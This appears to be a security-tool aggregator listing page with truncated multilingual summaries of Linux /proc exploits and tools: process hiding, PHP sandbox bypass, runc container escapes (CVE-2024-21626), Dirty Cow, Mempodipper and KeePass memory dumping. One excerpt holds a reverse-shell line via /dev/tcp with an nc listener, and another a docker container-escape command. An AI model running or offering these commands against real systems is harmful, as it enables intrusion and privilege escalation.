mimic

mimic mimic は、Linux x8664 で隠密実行を行うためのツールです。 「covert execution」とは？ 隠密実行とは、プロセスを隠す技術です。この場合、 mimic はプロセスを目に見える場所に隠します。 mimic は任意のプログラムを起動して、他のプログラムのように見せることができます。どのユーザーでも使用できます。特別な権限は必要ありません。特別なバイナリも必要ありません。ルートキットも必要ありません。 えっ？！特別な権限がいらないの？！ その通りです。 mimic は、プロセスの内部構造を再構成することで、そのプロセスの /proc...

php-bypass-disable-functions

php-bypass-disable-functions 演示项目，展示如何在 Linux 上绕过 PHP 的 disablefunctions 安全控制，其中进程可以通过标准文件操作（open/seek/read/write）经特殊的 /proc/self/map 文件检查和写入自身内存。 已在 PHP 7.3.5、x8664 Linux 上测试 另见：https://seclists.org/bugtraq/2019/May/52 如何使用 root@kitploit: regularuser@7981d86dd9aa:/$...

Netgrave

Netgrave Netwave IPカメラのメモリダンプ脆弱性CVE-2018-17240を利用してログイン認証情報を取得するツールです。このプロジェクトはexpcameraに触発され、パフォーマンスと効率の改善を提供します。このツールは、expcameraのようにシェルコマンドを介してLinux CLIツールを使用しないため、すべてのプラットフォームで動作します。 CVE-2018-17240...

CVE-2025-40271

🔴 CVE-2025-40271: Linux カーネルの Use-After-Free の深刻な脆弱性 🛡️ 脆弱性の詳細 CVE-2025-40271 は、Linux カーネルの /proc ファイルシステムに影響を与える 深刻な Use-After-Free UAF 型の脆弱性 です。この欠陥は、/proc 内のディレクトリの内容をリストする役割を担う関数 procreaddirde に存在します。 🔍 問題点 ディレクトリエントリ PDE が rberase によって二分木 rbtree から削除される際、カーネルは ノードを空としてマークしませんでした...

CVE-2024-21262

RECORDS 仅用于 CVE 复现。 相关资源： LINK GITHUB1 GITHUB2 ISSUE 检查环境 从 https://download.docker.com/linux/static/stable/x8664/ 下载 docker-24.0.6.tgz。 root@kitploit: sudo mkdir -p /usr/local/docker-24.0.6 sudo tar -xzf docker-24.0.6.tgz -C /usr/local/docker-24.0.6 sudo ln -sf /usr/local/docker-24.0.6/docker/...

liffy

Advanced LFI Exploitation Tool A powerful Python tool for Local File Inclusion LFI exploitation with advanced features including WAF bypass, encoding techniques, and comprehensive vulnerability detection. Liffy v2.0 is the significantly enhanced version of liffy which was originally created by...

Am-I-affected-by-Meltdown

私はMeltdownの影響を受けているのか？！ Meltdown CVE-2017-5754 チェッカー これは何？ 概念実証 / エクスプロイト / システムがVariant 3: 不正データキャッシュロード CVE-2017-5754、別名MELTDOWNの影響を受けているかどうかをチェックします。 基本的な考え方は、ユーザーが実行中のシステムに適切なパッチが適用されているかどうかを、 例えばKAISERパッチセット https://lkml.org/lkml/2017/10/31/884 などを用いて知ることができるというものです。 現在はLinuxでのみ動作します 動作の仕組みは...

CVE-2017-1000367

CVE-2017-1000367 我々は、Linux向けSudoのgetprocessttynameに脆弱性を発見しました。この関数は“/proc/pid/stat”（man proc）を開き、フィールド7（ttynr）からttyのデバイス番号を読み取ります。残念ながら、これらのフィールドはスペース区切りであり、フィールド2（comm、コマンドのファイル名）にはスペースを含めることができます（CVE-2017-1000367）。 例えば、シンボリックリンク“./ 1...

CVE-2024-21626

CVE-2024-21626 PoC 要件 runc 1.1.0 /proc/self/cwd/../../../bin/bash.copy & /dev/tcp/$ip/$port 0&1 EOF listen and wait for reverse shell nc -lvvp 1337 コンテナイメージを実行し...

dismember

🔪 Dismember Dismemberは、Linux用のコマンドラインツールキットで、すべてのプロセス（または特定のプロセス）のメモリをスキャンして、一般的な秘密情報やカスタム正規表現などを検出するために使用できます。 最終的には完全な /proc ツールキットになる予定です。 grep コマンドを使用すると、すべての（アクセス可能な）プロセスの全メモリに対して正規表現のマッチングを行うことができます。これは、メモリ内の機密データを見つけたり、メモリに含まれる情報からプロセスを特定したり、プロセスのメモリを調査して興味深い情報を得るために使用できます。 scan...

dismember

🔪 Dismember Dismember is a command-line toolkit for Linux that can be used to scan the memory of all processes or particular ones for common secrets and custom regular expressions, among other things. It will eventually become a full /proc toolkit. Using the grep command, it can match a regular...

CVE-2024-21626

CVE-2024-21626 この脆弱性の詳細な説明については、私の記事を参照してください。 エクスプロイト コンテナの実行によるエクスプロイト カスタムイメージをビルドする必要はありません。-w パラメータを指定してコンテナを実行するだけです: root@kitploit: docker run -w /proc/self/fd/8 --name cve-2024-21626 --rm -it debian:bookworm 実行中のコンテナへの exec によるエクスプロイト runc 自体によるエクスプロイト root@kitploit: /container/runc/runc...

whoc

whoc コンテナイメージであり、基盤となるコンテナランタイムを抽出してリモートサーバーに送信します。 お気に入りのCSPコンテナプラットフォームの基盤となるコンテナランタイムを突いてみましょう！ WhoC at Defcon 29 Cloud Village Azurescape - whoc を利用した研究、パブリッククラウド初のクロスアカウントコンテナ乗っ取り $70,000 の報奨金 仕組み runc の CVE-2019-5736 で示されているように、従来の Linux コンテナランタイムは、/proc/self/exe を介して実行中のコンテナに自身を公開します。whoc...

mimic

mimic mimic is a tool for covert execution on Linux x8664. What is "covert execution"? Covert execution is the art of hiding a process. In this case, mimic hides the process in plain sight. mimic can launch any program and make it look like any other program. Any user can use it. It does not...

CVE-2024-21626-POC

CVE-2024-21626-POC 使用说明 仅供教育/研究使用，任何与教育/研究无关的行为所产生的风险自行负责 使用 root@kitploit: docker build . -t cve-2024-21626 docker run -it --rm cve-2024-21626 bash /poc.sh 另起一个terminal /bin/bash.copy 注意 不同docker/runc版本使用的具体文件描述符有所不同，例如docker server:20.10.17 && runc version 1.1.2 的情况下使用 /proc/self/fd/9，实际的 fd...

CVE-2012-0056

Escalada local de privilegios en Linux mediante escritura en /proc/pid/mem de SUID Mempodipper Presentamos Mempodipper, un exploit para CVE-2012-0056. /proc/pid /mem es una interfaz para leer y escribir directamente en la memoria de un proceso, desplazándose por las mismas direcciones que el...

CVE-2023-32784-keepass-linux

KeePass 2.53/cmdline ファイルをスキャンし、コマンドライン引数に KeePass というキーワードを含むプロセスの pid を保存します。 次に、/proc//maps 内のメモリマップのうち、ライブラリに直接関連していないもの（つまり、ファイルパスが空のもの）のアドレスを取得します。 そして、/proc//mem を利用して、それらのマップのメモリをすべてバッファに保存します。これはLinux上の任意のプロセスのメモリをダンプする原始的な動作です。 メモリを解析して、ユーザーがマスターパスワードを入力した際に残った文字列（•a, ••s, •••s...

CVE-2026-5555-Container-Escape-via-proc-self-fd-Symlink-in-Shared-Volume

CVE-2026-5555 – 通过 /proc/self/fd 符号链接实现容器逃逸 概述 使用 rshared 传播方式挂载的共享卷允许恶意容器通过 /proc/self/fd 创建指向主机文件的符号链接。向该卷写入数据的主机进程会跟随该符号链接，覆盖关键主机文件，从而实现容器逃逸。 漏洞详情 类型： 容器逃逸 / 符号链接攻击 影响： 覆盖主机文件，可在主机上提权至 root。 根本原因： 容器运行时未能阻止攻击者通过 procfs 技巧创建指向容器挂载命名空间之外的符号链接。 漏洞利用演示 1. 启动模拟的主机日志服务： root@kitploit: python...

CVE-2025-40271

CVE-2025-40271 — procreaddirde rb-tree UAF LPE 针对 Linux 内核 proc 文件系统中一个本地权限提升漏洞的概念验证（PoC）。该漏洞是 procreaddirde 中的释放后使用（UAF），由 rberase 未调用 RBCLEARNODE 所致，残留的红黑树链接在目录枚举期间可被竞态利用。 作者： MadExploits 原始漏洞研究与 C 语言 PoC 由 Aviral Srivastava （N-DAY RESEARCH）完成。本仓库包含一个 shell 移植版（exploit.sh），适用于不便编译的环境。 概述 字段| 详情...

kernel-exploit-dirtycow

Kernel Exploit — Dirty Cow CVE-2016-5195 Laboratorio di escalatione dei privilegi tramite la vulnerabilità Dirty Cow, realizzato come parte della specializzazione in cybersecurity di 4Geeks Academy. Descrizione Dirty Cow è una condizione di gara nel sottosistema di memoria del kernel Linux...